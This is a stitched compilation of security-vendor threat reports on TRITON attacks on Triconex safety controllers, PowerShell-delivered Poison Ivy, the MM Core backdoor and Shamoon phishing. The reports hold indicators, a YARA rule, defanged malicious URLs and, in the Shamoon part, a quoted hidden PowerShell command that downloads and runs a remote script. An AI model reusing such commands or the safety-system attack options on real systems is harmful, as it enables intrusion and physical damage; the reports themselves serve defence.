+Safety Instrumented Systems Threat Model and Attack Scenarios
+Figure 2: Temporal Relationship Between Cyber Security and Safety
+The attack lifecycle for disruptive attacks against ICS is similar to other types of cyber attacks,
+with a few key distinctions. First, the attacker
+s mission is to disrupt an operational process
+rather than steal data. Second, the attacker must have performed OT reconnaissance and
+have sufficient specialized engineering knowledge to understand the industrial process being
+controlled and successfully manipulate it.
+Figure 2 represents the relationship between cyber security and safety controls in a process
+control environment. Even if cyber security measures fail, safety controls are designed to
+prevent physical damage. To maximize physical impact, a cyber attacker would also need to
+bypass safety controls.
+The SIS threat model below highlights some of the options available to an attacker who has
+successfully compromised an SIS.
+4/10
+Attack Option 1: Use the SIS to shutdown the process
+The attacker can reprogram the SIS logic to cause it to trip and shutdown a process that
+is, in actuality, in a safe state. In other words, trigger a false positive.
+Implication: Financial losses due to process downtime and complex plant start up
+procedure after the shutdown.
+Attack Option 2: Reprogram the SIS to allow an unsafe state
+The attacker can reprogram the SIS logic to allow unsafe conditions to persist.
+Implication: Increased risk that a hazardous situation will cause physical consequences
+(e.g. impact to equipment, product, environment and human safety) due to a loss of SIS
+functionality.
+Attack Option 3: Reprogram the SIS to allow an unsafe state 
+ while using the DCS to create
+an unsafe state or hazard
+The attacker can manipulate the process into an unsafe state from the DCS while
+preventing the SIS from functioning appropriately.
+Implication: Impact to human safety, the environment, or damage to equipment, the
+extent of which depends on the physical constraints of the process and the plant design.
+Analysis of Attacker Intent
+We assess with moderate confidence that the attacker
+s long-term objective was to develop
+the capability to cause a physical consequence. We base this on the fact that the attacker
+initially obtained a reliable foothold on the DCS and could have developed the capability to
+manipulate the process or shutdown the plant, but instead proceeded to compromise the SIS
+system. Compromising both the DCS and SIS system would enable the attacker to develop
+and carry out an attack that causes the maximum amount of damage allowed by the physical
+and mechanical safeguards in place.
+Once on the SIS network, the attacker used their pre-built TRITON attack framework to
+interact with the SIS controllers using the TriStation protocol. The attacker could have caused
+a process shutdown by issuing a halt command or intentionally uploading flawed code to the
+SIS controller to cause it to fail. Instead, the attacker made several attempts over a period of
+time to develop and deliver functioning control logic for the SIS controllers in this target
+environment. While these attempts appear to have failed due one of the attack scripts
+conditional checks, the attacker persisted with their efforts. This suggests the attacker was
+intent on causing a specific outcome beyond a process shutdown.
+Of note, on several occasions, we have observed evidence of long term intrusions into ICS
+which were not ultimately used to disrupt or disable operations. For instance, Russian
+operators, such as Sandworm Team, have compromised Western ICS over a multi-year period
+without causing a disruption.
+Summary of Malware Capabilities
+5/10
+The TRITON attack tool was built with a number of features, including the ability to read and
+write programs, read and write individual functions and query the state of the SIS controller.
+However, only some of these capabilities were leveraged in the trilog.exe sample (e.g. the
+attacker did not leverage all of TRITON
+s extensive reconnaissance capabilities).
+The TRITON malware contained the capability to communicate with Triconex SIS controllers
+(e.g. send specific commands such as halt or read its memory content) and remotely
+reprogram them with an attacker-defined payload. The TRITON sample Mandiant analyzed
+added an attacker-provided program to the execution table of the Triconex controller. This
+sample left legitimate programs in place, expecting the controller to continue operating without
+a fault or exception. If the controller failed, TRITON would attempt to return it to a running
+state. If the controller did not recover within a defined time window, this sample would overwrite
+the malicious program with invalid data to cover its tracks.
+Recommendations
+Asset owners who wish to defend against the capabilities demonstrated in the incident, should
+consider the following controls:
+Where technically feasible, segregate safety system networks from process control and
+information system networks. Engineering workstations capable of programming SIS
+controllers should not be dual-homed to any other DCS process control or information
+system network.
+Leverage hardware features that provide for physical control of the ability to program
+safety controllers. These usually take the form of switches controlled by a physical key.
+On Triconex controllers, keys should not be left in the PROGRAM mode other than
+during scheduled programming events.
+Implement change management procedures for changes to key position. Audit current
+key state regularly.
+Use a unidirectional gateway rather than bidirectional network connections for any
+applications that depend on the data provided by the SIS.
+Implement strict access control and application whitelisting on any server or workstation
+endpoints that can reach the SIS system over TCP/IP.
+Monitor ICS network traffic for unexpected communication flows and other anomalous
+activity.
+6/10
+Figure 3: Triconex Key Switch (source)
+Appendix: Technical Analysis
+Figure 4: TRITON Architecture and Attack Scenario
+TRITON was deployed on an SIS engineering workstation running the Microsoft Windows
+operating system. The malware was named to masquerade as the legitimate Triconex Trilog
+application. This application is used for reviewing logs and is a part of the TriStation
+application suite. The malware was delivered as a Py2EXE compiled python script dependent
+on a zip file containing standard Python libraries, open source libraries, as well as the attacker7/10
+developed Triconex attack framework for interacting with the Triconex controllers. Along with
+the executable, two binary files, inject.bin (malicious function code) and imain.bin (malicious
+control logic), were deployed as the controller
+s payload. These file names were hard coded in
+the Py2EXE compiled python script.
+Trilog.exe took one option from the command line, which was a single IP address of the target
+Triconex device. It did not leverage the underlying TRITON library
+s capability for Triconex
+device discovery, instead an instance of trilog.exe had to be invoked separately for each target
+controller in the environment. Once invoked, trilog.exe checked the status of the controller,
+then read the configuration information exposed by the TriStation protocol. If the controller was
+in a running state, trilog.exe encoded the two payload files inject.bin and imain.bin and passed
+them to the communication libraries to be appended to the controller
+s program memory and
+execution table.
+After payload files were inserted into memory on the Triconex controller, the script initiated a
+countdown, periodically checking the status of the controller. If an error was detected, the
+communication library
+s method SafeAppendProgramMod attempted to reset the controller to
+the previous state using a TriStation protocol command. If this failed, trilog.exe attempted to
+write a small 
+dummy
+ program to memory. We assess that this was an anti-forensics
+technique to hide the presence of the attacker code on the Triconex controller.
+Working with the asset owner, Mandiant ran trilog.exe in a lab environment with a valid
+Triconex controller and discovered a conditional check in the malware that prevented the
+payload binary from persisting in the environment. Mandiant confirmed that, after correcting
+patching the attack script to remove this check, the payload binary would persist in controller
+memory, and the controller would continue to run.
+TRITON implements the TriStation protocol, which is the protocol used by the legitimate
+TriStation application, to configure controllers.
+TsHi is the high-level interface created by the malware
+s authors that allows the threat actor
+operators to implement attack scripts using the TRITON framework. It exposes functions for
+both reconnaissance and attack. The functions generally accept binary data from the user, and
+handle the code 
+signing
+ and check sums prior to passing the data to lower level libraries for
+serialization on to the network.
+TsBase, another attacker-written module, contains the functions called by TsHi, which translate
+the attacker
+s intended action to the appropriate TriStation protocol function code. For certain
+functions, it also packs and pads the data in to the appropriate format.
+TsLow is an additional attacker module that implements the TriStation UDP wire protocol. The
+TsBase library primarily depends on the ts_exec method. This method takes the function code
+and expected response code, and serializes the commands payload over UDP. It checks the
+response from the controller against the expected value and returns a result data structure
+indicating success or a False object representing failure.
+8/10
+TsLow also exposes the connect method used to check connectivity to the target controller. If
+invoked with no targets, it runs the device discovery function detect_ip. This leverages a "ping"
+message over the TriStation protocol using IP broadcast to find controllers that are reachable
+via a router from where the script is invoked.
+Indicators
+Filename
+Hash
+trilog.exe
+MD5: 6c39c3f4a08d3d78f2eb973a94bd7718
+SHA-256:
+e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230
+imain.bin
+MD5: 437f135ba179959a580412e564d3107f
+SHA-256:
+08c34c6ac9186b61d9f29a77ef5e618067e0bc9fe85cab1ad25dc6049c376949
+inject.bin
+MD5: 0544d425c7555dc4e9d76b571f31f500
+SHA-256:
+5fc4b0076eac7aa7815302b0c3158076e3569086c4c6aa2f71cd258238440d14
+library.zip
+MD5: 0face841f7b2953e7c29c064d6886523
+SHA-256:
+bef59b9a3e00a14956e0cd4a1f3e7524448cbe5d3cc1295d95a15b83a3579c59
+TS_cnames.pyc
+MD5: e98f4f3505f05bf90e17554fbc97bba9
+SHA-256:
+2c1d3d0a9c6f76726994b88589219cb8d9c39dd9924bc8d2d02bf41d955fe326
+TsBase.pyc
+MD5: 288166952f934146be172f6353e9a1f5
+SHA-256:
+1a2ab4df156ccd685f795baee7df49f8e701f271d3e5676b507112e30ce03c42
+TsHi.pyc
+MD5: 27c69aa39024d21ea109cc9c9d944a04
+SHA-256:
+758598370c3b84c6fbb452e3d7119f700f970ed566171e879d3cb41102154272
+TsLow.pyc
+MD5: f6b3a73c8c87506acda430671360ce15
+SHA-256:
+5c776a33568f4c16fee7140c249c0d2b1e0798a96c7a01bfd2d5684e58c9bb32
+sh.pyc
+MD5: 8b675db417cc8b23f4c43f3de5c83438
+SHA-256:
+c96ed56bf7ee85a4398cc43a98b4db86d3da311c619f17c8540ae424ca6546e1
+Detection
+9/10
+rule TRITON_ICS_FRAMEWORK
+meta:
+author = "nicholas.carr @itsreallynick"
+md5 = "0face841f7b2953e7c29c064d6886523"
+description = "TRITON framework recovered during Mandiant ICS incident response"
+strings:
+$python_compiled = ".pyc" nocase ascii wide
+$python_module_01 = "__module__" nocase ascii wide
+$python_module_02 = "<module>" nocase ascii wide
+$python_script_01 = "import Ts" nocase ascii wide
+$python_script_02 = "def ts_" nocase ascii wide
+$py_cnames_01 = "TS_cnames.py" nocase ascii wide
+$py_cnames_02 = "TRICON" nocase ascii wide
+$py_cnames_03 = "TriStation " nocase ascii wide
+$py_cnames_04 = " chassis " nocase ascii wide
+$py_tslibs_01 = "GetCpStatus" nocase ascii wide
+$py_tslibs_02 = "ts_" ascii wide
+$py_tslibs_03 = " sequence" nocase ascii wide
+$py_tslibs_04 = /import Ts(Hi|Low|Base)[^:alpha:]/ nocase ascii wide
+$py_tslibs_05 = /module\s?version/ nocase ascii wide
+$py_tslibs_06 = "bad " nocase ascii wide
+$py_tslibs_07 = "prog_cnt" nocase ascii wide
+$py_tsbase_01 = "TsBase.py" nocase ascii wide
+$py_tsbase_02 = ".TsBase(" nocase ascii wide
+$py_tshi_01 = "TsHi.py" nocase ascii wide
+$py_tshi_02 = "keystate" nocase ascii wide
+$py_tshi_03 = "GetProjectInfo" nocase ascii wide
+$py_tshi_04 = "GetProgramTable" nocase ascii wide
+$py_tshi_05 = "SafeAppendProgramMod" nocase ascii wide
+$py_tshi_06 = ".TsHi(" ascii nocase wide
+$py_tslow_01 = "TsLow.py" nocase ascii wide
+$py_tslow_02 = "print_last_error" ascii nocase wide
+$py_tslow_03 = ".TsLow(" ascii nocase wide
+$py_tslow_04 = "tcm_" ascii wide
+$py_tslow_05 = " TCM found" nocase ascii wide
+$py_crc_01 = "crc.pyc" nocase ascii wide
+$py_crc_02 = "CRC16_MODBUS" ascii wide
+$py_crc_03 = "Kotov Alaxander" nocase ascii wide
+$py_crc_04 = "CRC_CCITT_XMODEM" ascii wide
+$py_crc_05 = "crc16ret" ascii wide
+$py_crc_06 = "CRC16_CCITT_x1D0F" ascii wide
+$py_crc_07 = /CRC16_CCITT[^_]/ ascii wide
+$py_sh_01 = "sh.pyc" nocase ascii wide
+$py_keyword_01 = " FAILURE" ascii wide
+$py_keyword_02 = "symbol table" nocase ascii wide
+$py_TRIDENT_01 = "inject.bin" ascii nocase wide
+$py_TRIDENT_02 = "imain.bin" ascii nocase wide
+condition:
+2 of ($python_*) and 7 of ($py_*) and filesize < 3MB
+10/10
+Spear Phishing Techniques Used in Attacks Targeting the
+Mongolian Government
+fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html
+Introduction
+FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government.
+Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with
+Poison Ivy, a popular remote access tool (RAT) that has been used for nearly a decade for key logging, screen and
+video capture, file transfers, password theft, system administration, traffic relaying, and more. The threat actors
+behind this attack demonstrated some interesting techniques, including:
+1. Customized evasion based on victim profile 
+ The campaign used a publicly available technique to evade
+AppLocker application whitelisting applied to the targeted systems.
+2. Fileless execution and persistence 
+ In targeted campaigns, threat actors often attempt to avoid writing an
+executable to the disk to avoid detection and forensic examination. The campaign we observed used four
+stages of PowerShell scripts without writing the the payloads to individual files.
+3. Decoy documents 
+ This campaign used PowerShell to download benign documents from the Internet and
+launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity.
+Attack Cycle
+The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word
+document that launched a malicious PowerShell payload.
+The threat actors used two publicly available techniques, an AppLocker whitelisting bypass and a script to inject
+shellcode into the userinit.exe process. The malicious payload was spread across multiple PowerShell scripts,
+making its execution difficult to trace. Rather than being written to disk as individual script files, the PowerShell
+payloads were stored in the registry.
+Figure 1 shows the stages of the payload execution from the malicious macro.
+1/10
+Figure 1: Stages of payload execution used in this attack
+Social Engineering and Macro-PowerShell Level 1 Usage
+Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for
+logging into webmail or information regarding a state law proposal.
+When a targeted user opens the malicious document, they are presented with the messages shown in Figure 2,
+asking them to enable macros.
+2/10
+Figure 2: Lure suggesting the user to enable Macros to see content
+Bypassing Application Whitelisting Script Protections (AppLocker)
+Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system. In
+April 2016, a security researcher demonstrated a way to bypass this using regsvr32.exe, a legitimate Microsoft
+executable permitted to execute in many AppLocker policies. The regsvr32.exe executable can be used to download
+a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument. This technique
+bypasses AppLocker restrictions and permits the execution of code within the SCT file.
+We observed implementation of this bypass in the macro code to invoke regsvr32.exe, along with a URL passed to
+it which was hosting a malicious SCT file, as seen in Figure 3.
+3/10
+Figure 3: Command after de-obfuscation to bypass AppLocker via regsv32.exe
+Figure 4 shows the entire command line parameter used to bypass AppLocker.
+Figure 4: Command line parameter used to bypass AppLocker
+We found that the malicious SCT file invokes WScript to launch PowerShell in hidden mode with an encoded
+command, as seen in Figure 5.
+Figure 5: Content of SCT file containing code to launch encoded PowerShell
+Decoding SCT: Decoy launch and Stage Two PowerShell
+After decoding the PowerShell command, we observed another layer of PowerShell instructions, which served two
+purposes:
+1. There was code to download a decoy document from the Internet and open it in a second winword.exe process
+using the Start-Process cmdlet. When the victim enables macros, they will see the decoy document shown in Figure
+6. This document contains the content described in the spear phishing email.
+4/10
+Figure 6: Decoy downloaded and launched on the victim
+s screen
+2. After launching the decoy document in the second winword.exe process, the PowerShell script downloads and
+runs another PowerShell script named f0921.ps1 as shown in Figure 7.
+Figure 7: PowerShell to download and run decoy decoy document and third-stage payload
+Third Stage PowerShell Persistence
+The third stage PowerShell script configures an encoded PowerShell command persistently as base64 string in the
+HKCU: \Console\FontSecurity registry key. Figure 8 shows a portion of the PowerShell commands for writing this
+value to the registry.
+5/10
+Figure 8: Code to set registry with encoded PowerShell script
+Figure 9 shows the registry value containing encoded PowerShell code set on the victims
+ system.
+Figure 9: Registry value containing encoded PowerShell script
+Figure 10 shows that using Start-Process, PowerShell decodes this registry and runs the malicious code.
+Figure 10: Code to decode and run malicious content from registry
+The third stage PowerShell script also configures another registry value named
+HKCU\CurrentVersion\Run\SecurityUpdate to launch the encoded PowerShell payload stored in the HKCU:
+\Console\FontSecurity key. Figure 11 shows the code for these actions. This will execute the PowerShell payload
+when the user logs in to the system.
+6/10
+Figure 11: PowerShell registry persistence
+Fourth Stage PowerShell Inject-LocalShellCode
+The HKCU\Console\FontSecurity registry contains the fourth stage PowerShell script, shown decoded in Figure 12.
+This script borrows from the publicly available Inject-LocalShellCode PowerShell script from PowerSploit to inject
+shellcode.
+Figure 12: Code to inject shellcode
+Shellcode Analysis
+The shellcode has a custom XOR based decryption loop that uses a single byte key (0xD4), as seen in Figure 13.
+7/10
+Figure 13: Decryption loop and call to decrypted shellcode
+After the shellcode is decrypted and run, it injects a Poison Ivy backdoor into the userinit.exe as shown in Figure 14.
+8/10
+Figure 14: Code injection in userinit.exe and attempt to access Poison Ivy related DAT files
+In the decrypted shellcode, we also observed content and configuration related to Poison Ivy. Correlating these
+bytes to the standard configuration of Poison Ivy, we can observe the following:
+Active setup 
+ StubPath
+Encryption/Decryption key - version2013
+Mutex name - 20160509
+The Poison Ivy configuration dump is shown in Figure 15.
+9/10
+Figure 15: Poison Ivy configuration dump
+Conclusion
+Although Poison Ivy has been a proven threat for some time, the delivery mechanism for this backdoor uses recent
+publicly available techniques that differ from previously observed campaigns. Through the use of PowerShell and
+publicly available security control bypasses and scripts, most steps in the attack are performed exclusively in
+memory and leave few forensic artifacts on a compromised host.
+FireEye HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here. It detects and
+blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage
+PowerShell payload. HX also contains generic detections for the registry persistence, AppLocker bypasses and
+subsequent stages of PowerShell abuse used in this attack.
+10/10
+MM Core In-Memory Backdoor Returns as "BigBoss" and
+"SillyGoose"
+blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose
+Introduction
+by Nicholas Griffin and Roland Dela Paz
+In October 2016 Forcepoint Security Labs
+ discovered new versions of the MM Core backdoor being used in
+targeted attacks. Also known as 
+BaneChant
+, MM Core is a file-less APT which is executed in memory by a
+downloader component. It was first reported in 2013 under the version number 
+2.0-LNK
+ where it used the tag
+BaneChant
+ in its command-and-control (C2) network request. A second version 
+2.1-LNK
+ with the network tag
+StrangeLove
+ was discovered shortly after.
+In this blog we will detail our discovery of the next two versions of MM Core, namely 
+BigBoss
+ (2.2-LNK) and
+SillyGoose
+ (2.3-LNK). Attacks using "BigBoss" appear likely to have occurred since mid-2015,
+whereas "SillyGoose" appears to have been distributed since September 2016. Both versions still appear to be
+active.
+Targeted Regions and Industries
+In 2013 MM Core was reported to target Middle Eastern and Central Asian countries. Our own telemetry suggests
+that both Africa and the United States have also been recent targets. The following list shows the targeted industries
+we have observed:
+News & Media
+Government - Defence
+Oil & Gas Manufacturing
+Telecommunications
+MM Core Capabilities
+An overview of MM Core backdoor
+s functionalities is as follows:
+Send infected system
+s computer name, windows version, system time, running processes, TCP/IP
+configuration, and top level directory listings for drives C to H
+Download and execute file
+Download and execute file in memory
+Update itself
+Uninstall itself
+Infection Method
+Previously the MM Core downloader component was downloaded and executed through shellcode by a DOC file
+exploiting CVE 2012-0158. However, the new DOC exploit we found exploits a more recent CVE-2015-1641
+Microsoft Word vulnerability which it uses to extract embedded malware. The extracted malware is then executed
+by leveraging a DLL side-loading vulnerability.
+The DOC file we analysed (SHA1 d336b8424a65f5c0b83328aa89089c2e4ddbcf72) was named 
+US pak track ii
+naval dialogues.doc
+. This document exploits CVE-2015-1641 and executes shellcode which drops a legitimate
+Microsoft executable along with a trojanised DLL named 
+ChoiceGuard.dll
+. The shellcode then executes the
+Microsoft executable, causing the malicious DLL to automatically be loaded into the file when it is run - hence the
+term "side-loading". The DLL downloads and executes the file-less MM Core backdoor in memory, which uses
+steganography to hide itself inside a JPEG file. The JPEG contains code to decrypt itself using the Shikata ga
+nai algorithm.
+Once decrypted and executed in memory, the MM Core backdoor will extract and install an embedded downloader
+when it is first run and add it to Windows start-up for persistence. This downloader, which is similar to the first
+trojanised DLL, is then executed and will download the MM Core JPEG once again, executing it in memory like
+before. This time MM Core will conduct its backdoor routine which will send off system information and await further
+commands.
+An overview of this infection process is as follows:
+Valid Certificates
+Some of the downloader components we found (i.e. "ChoiceGuard.dll") are signed with a valid authenticode
+certificate from Russian organisation "Bor Port":
+We suspect that this may be a stolen certificate as it is very unlikely that a malware author would sign malware with
+their own organisation's certificate.
+Updated Malware Artefacts
+Newer versions of MM Core use updated version tags, mutexes, and filenames as compared with their 2013
+counterparts. These are listed in the table below:
+Evasion Tactics
+The MM Core actors have made significant efforts to prevent security researchers from tracking their
+infrastructure. The first two versions of MM Core back in 2013 used spoofed registrant information in order to
+register the C2 domains, whereas the new campaigns use C2s registered using a registrant privacy protection
+service. This makes it more difficult to track the actors' infrastructure using WHOIS data.
+The actors have also registered their domains on BigRock, a popular web hosting company, in order to blend in with
+the noise of legitimate sites that are hosted on the same infrastructure.
+Forcepoint Protection Statement
+Forcepoint
+ customers are protected against this threat via TRITON
+ ACE at the following
+stages of attack:
+Stage 5 (Dropper File) - The malware components are prevented from being downloaded and/or executed.
+Stage 6 (Call Home) - Network traffic used by the downloaders and MM Core is identified and blocked.
+Conclusion
+MM Core is an active threat targeting multiple countries and high profile industries. It is interesting to note that even
+though MM Core
+s version has incremented twice, the core backdoor code has remained almost the same apart
+from the new file and mutex names. Largely this is perhaps due to the file-less nature of its payload, which may also
+explain why the majority of the updates were in the delivery mechanism. At the same time this demonstrates that the
+attackers behind MM Core very well know what they are doing, updating the malware just enough to keep their
+operation under the radar after all these years.
+On the other hand, while the volume of related MM Core samples remain low, we noticed that the MM Core
+downloader shares code, techniques and network infrastructure with a trojan called "Gratem", as well as sharing the
+same authenticode certificate for recent samples. Gratem is a more active downloader malware family which has
+been distributed since at least 2014. Ultimately this suggests that MM Core may be a part of a larger operation that
+is yet to be fully uncovered.
+Indicators of Compromise
+Documents
+d336b8424a65f5c0b83328aa89089c2e4ddbcf72 (US pak track ii naval dialogues.doc)
+Dropper/Downloader Samples (SHA1)
+f94bada2e3ef2461f9f9b291aac8ffbf81bf46ab
+ef59b4ffc8a92a5a49308ba98cb38949f74774f1
+1cf86d87140f13bf88ede74654e01853bae2413c
+415ad0a84fe7ae5b88a68b8c97d2d27de5b3aed2
+e8bfa4ed85aac19ab2e77e2b6dfe77252288d89b
+f94bada2e3ef2461f9f9b291aac8ffbf81bf46ab
+83e7b2d6ea775c8eb1f6cfefb32df754609a8129
+b931d3988eb37491506504990cae3081208e1a66
+7031f4be6ced5241ae0dd4315d66a261f654dbd6
+ab53485990ac503fb9c440ab469771fac661f3cc
+b8e6f570e02d105df2d78698de12ae80d66c54a2
+188776d098f61fa2c3b482b2ace202caee18b411
+e0ed40ec0196543814b00fd0aac7218f23de5ec5
+5498bb49083289dfc2557a7c205aed7f8b97b2a8
+ce18064f675348dd327569bd50528286929bc37a
+3a8b7ce642a5b4d1147de227249ecb6a89cbd2d3
+21c1904477ceb8d4d26ac9306e844b4ba0af1b43
+f89a81c51e67c0bd3fc738bf927cd7cc95b05ea6
+MM Core Unpacked DLL Samples (SHA1)
+13b25ba2b139b9f45e21697ae00cf1b452eeeff5
+c58aac5567df7676c2b08e1235cd70daec3023e8
+4372bb675827922280e8de87a78bf61a6a3e7e4d
+08bfdefef8a1fb1ea6f292b1ed7d709fbbc2c602
+Related Gratem Samples (SHA1)
+673f315388d9c3e47adc280da1ff8b85a0893525
+f7372222ec3e56d384e7ca2650eb39c0f420bc88
+Dropper/Downloader Payload Locations
+hxxp://davidjone[.]net/huan/normaldot.exe
+MM Core Payload Locations
+hxxp://mockingbird.no-ip[.]org/plugins/xim/top.jpg
+hxxp://presspublishing24[.]net/plugins/xim/top.jpg
+hxxp://ichoose.zapto[.]org/plugins/cc/me.jpg
+hxxp://presspublishing24[.]net/plugins/cc/me.jpg
+hxxp://waterlily.ddns[.]net/plugins/slm/pogo.jpg
+hxxp://presspublishing24[.]net/plugins/slm/pogo.jpg
+hxxp://nayanew1.no-ip[.]org/plugins/xim/top.jpg
+hxxp://davidjone[.]net/plugins/xim/top.jpg
+hxxp://hawahawa123.no-ip[.]org/plugins/xim/logo.jpg
+hxxp://davidjone[.]net/plugins/xim/logo.jpg
+MM Core C2s
+hxxp://presspublishing24[.]net/plugins/cc/mik.php
+hxxp://presspublishing24[.]net/plugins/slm/log.php
+hxxp://presspublishing24[.]net/plugins/xim/trail.php
+Gratem Second Stage Payload Locations
+hxxp://adnetwork33.redirectme[.]net/wp-content/themes/booswrap/layers.png
+hxxp://network-resources[.]net/wp-content/themes/booswrap/layers.png
+hxxp://adworks.webhop[.]me/wp-content/themes/bmw/s6.png
+hxxp://adrev22[.]ddns.net/network/superads/logo.dat
+hxxp://davidjone[.]net/network/superads/logo.dat
+The Full Shamoon: How the Devastating Malware Was Inserted Into Networks
+securityintelligence.com/the-full-shamoon-how-the-devastating-malware-was-inserted-into-networks/
+2/15/2017
+Authored by the IBM X-Force Incident Response and Intelligence Services (IRIS) team.
+Researchers from the IBM X-Force Incident Response and Intelligence Services (IRIS) team identified a missing link in the operations of a threat actor involved in recent Shamoon
+malware attacks against Gulf state organizations. These attacks, which occurred in November 2016 and January 2017, reportedly affected thousands of computers across multiple
+government and civil organizations in Saudi Arabia and elsewhere in Gulf states. Shamoon is designed to destroy computer hard drives by wiping the master boot record (MBR) and data
+irretrievably, unlike ransomware, which holds the data hostage for a fee.
+Through their recent investigations, our forensics analysts pinpointed the initial compromise vector and post-compromise operations that led to the deployment of the destructive Shamoon
+malware on targeted infrastructures. It
+s worth mentioning that, according to X-Force IRIS, the initial compromise took place weeks before the actual Shamoon deployment and activation
+were launched.
+Shamoon Attacks Preceded by Malicious Macros and PowerShell Commands
+Since Shamoon incidents feature the infiltration and escalation stages of targeted attacks, X-Force IRIS responders sought out the attackers
+ entry point. Their findings pointed to what
+appears to be the initial point of compromise the attackers used: a document containing a malicious macro that, when approved to execute, enabled C2 communications to the attacker
+server and remote shell via PowerShell.
+The document was not the only one discovered in the recent attack waves. X-Force IRIS researchers had been tracking earlier activity associated with similar malicious, PowerShell-laden
+documents themed as resumes and human resources documents, some of which related to organizations in Saudi Arabia. This research identified several bouts of offensive activity that
+occurred in the past few months, which revealed similar operational methods in which the attackers served malicious documents and other malware executables from web servers to their
+targets to establish an initial foothold in the network.
+Learn more about IBM X-Force IRIS
+Initial Compromise Vector Previously Unclear
+Although Shamoon was previously documented in research blogs, the specific network compromise methods leading to the attacks have remained unclear in the reported cases. X-Force
+IRIS researchers studied Shamoon
+s attack life cycle and observed its tactics at Saudi-based organizations and private sector companies. This research led them to believe that the actor
+using Shamoon in recent attacks relied heavily on weaponized documents built to leverage PowerShell to establish their initial network foothold and subsequent operations:
+1. Attackers send a spear phishing email to employees at the target organization. The email contains a Microsoft Office document as an attachment.
+2. Opening the attachment from the email invokes PowerShell and enables command line access to the compromised machine.
+3. Attackers can now communicate with the compromised machine and remotely execute commands on it.
+4. The attackers use their access to deploy additional tools and malware to other endpoints or escalate privileges in the network.
+5. Attackers study the network by connecting to additional systems and locating critical servers.
+6. The attackers deploy the Shamoon malware.
+7. A coordinated Shamoon outbreak begins and computer hard drives across the organization are permanently wiped.
+Figure 1: Shamoon Attack 
+ Logical Flow of Events
+A Phish Is Speared
+X-Force IRIS identified the below malicious document:
+Detail
+Info
+File name
+cv_itworx.doc
+45b0e5a457222455384713905f886bd4
+SHA256
+528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62
+Hosting
+hxxp://mol.com-ho[.]me/cv_itworx.doc
+Embedded
+PowerShell
+PowerShell.exe -window hidden -e
+cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQB3ACAAaABpAGQAZABlAG4AIAAtAG4AbwBuAGkAIAAtAG4AbwBwACAALQBjACAAIgBpAGUAeAAoAE4AZQB3AC
+Decode
+PowerShell.exe -w hidden -noni -nop -c 
+iex(New-Object System.Net.WebClient).DownloadString(
+hxxp://139.59.46.154:3485/eiloShaegae1
+Our researchers examined the domain that hosted the first malicious file, mol.com-ho[.]me. Per the domain
+s WHOIS record, an anonymized registrant registered com-ho[.]me in October
+2016 and used it to serve malicious documents with similar macro activation features. The following list of documents included:
+File Name
+File MD5
+cv.doc
+f4d18316e367a80e1005f38445421b1f
+cv_itworx.doc
+45b0e5a457222455384713905f886bd4
+cv_mci.doc
+f4d18316e367a80e1005f38445421b1f
+discount_voucher_codes.xlsm
+19cea065aa033f5bcfa94a583ae59c08
+Health_insurance_plan.doc
+ecfc0275c7a73a9c7775130ebca45b74
+Health_insurance_registration.doc
+1b5e33e5a244d2d67d7a09c4ccf16e56
+job_titles.doc
+fa72c068361c05da65bf2117db76aaa8
+job_titles_itworx.doc
+43fad2d62bc23ffdc6d301571135222c
+job_titles_mci.doc
+ce25f1597836c28cf415394fb350ae93
+Password_Policy.xlsm
+03ea9457bf71d51d8109e737158be888
+These files were most likely delivered via spear phishing emails to lure employees into unwittingly launching the malicious payload.
+A closer review of the file names revealed 
+IT Worx
+ and 
+MCI.
+ A search of the name IT Worx brings up a global software professional services organization headquartered in Egypt. MCI
+is Saudi Arabia
+s Ministry of Commerce and Investment. It is possible these names were used in spear phishing emails because they would seem benign to Saudi-based employees and
+lure them to open the attachment.
+X-Force IRIS researchers further identified that the threat actor behind the malicious documents served many of them using a URL-shortening scheme in the following pattern:
+briefl[.]ink/{a-z0-9}[5].
+File Detail
+Info
+File name
+job_titles_itworx.doc
+File Detail
+Info
+43fad2d62bc23ffdc6d301571135222c
+SHA256
+e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6
+Hosting URL
+hxxp://briefl.ink/qhtma
+The following figure is a visual example of what employees may have encountered when they opened the malicious Word files sent to them in preparation for a Shamoon attack:
+Figure 2: Malicious Word Document Delivered in Preparation of a Shamoon Malware Attack (Source: X-Force IRIS)
+Passive DNS results on a communications domain associated with the Shamoon attack revealed related network infrastructure, identifying additional domains used by the threat actors.
+Domain
+Name
+Spoofed Site
+ntg-sa[.]com
+The domain ntg-sa[.]com appears to spoof the legit domain ntg.sa.com associated with the Namer Trading Group. Per their webpage, NTG 
+was established
+primarily to cater the growing demands of Petrochemicals waste management within the Kingdom of Saudi Arabia.
+mapsmodon[.]club
+The maps-modon[.]club domain appears to spoof maps.modon.gov.sa, which is associated with the Saudi Industrial Property Authority, an organization
+responsible for the development of industrial cities with integrated infrastructure and services.
+X-Force IRIS discovered that the threat actor was hosting at least one malicious executable on a server hosted on ntg-sa[.]com. This file duped targets into believing it was a Flash player
+installer that would drop a Windows batch to invoke PowerShell into the same C2 communications.
+Breakdown of the PowerShell-Related Macro
+Analysis of one of the threat actor
+s documents found that if the macro executes, it launches two separate PowerShell Scripts. The first one executes a PowerShell script served from
+hxxp://139.59.46.154:3485/eiloShaegae1. The host is possibly related to attacks that served the Pupy RAT, a publicly available cross-platform remote access tool.
+The second script calls VirtualAlloc to create a buffer, uses memset to load Metasploit-related shellcode into that buffer and executes it through CreateThread. Metasploit is an open
+source framework popular as a tool for developing and executing exploit code against a remote target machine. The shellcode performs a DWORD XOR of 4 bytes at an offset from the
+beginning of the shellcode that changes the code to create a loop so the XOR continues 0x57 times.
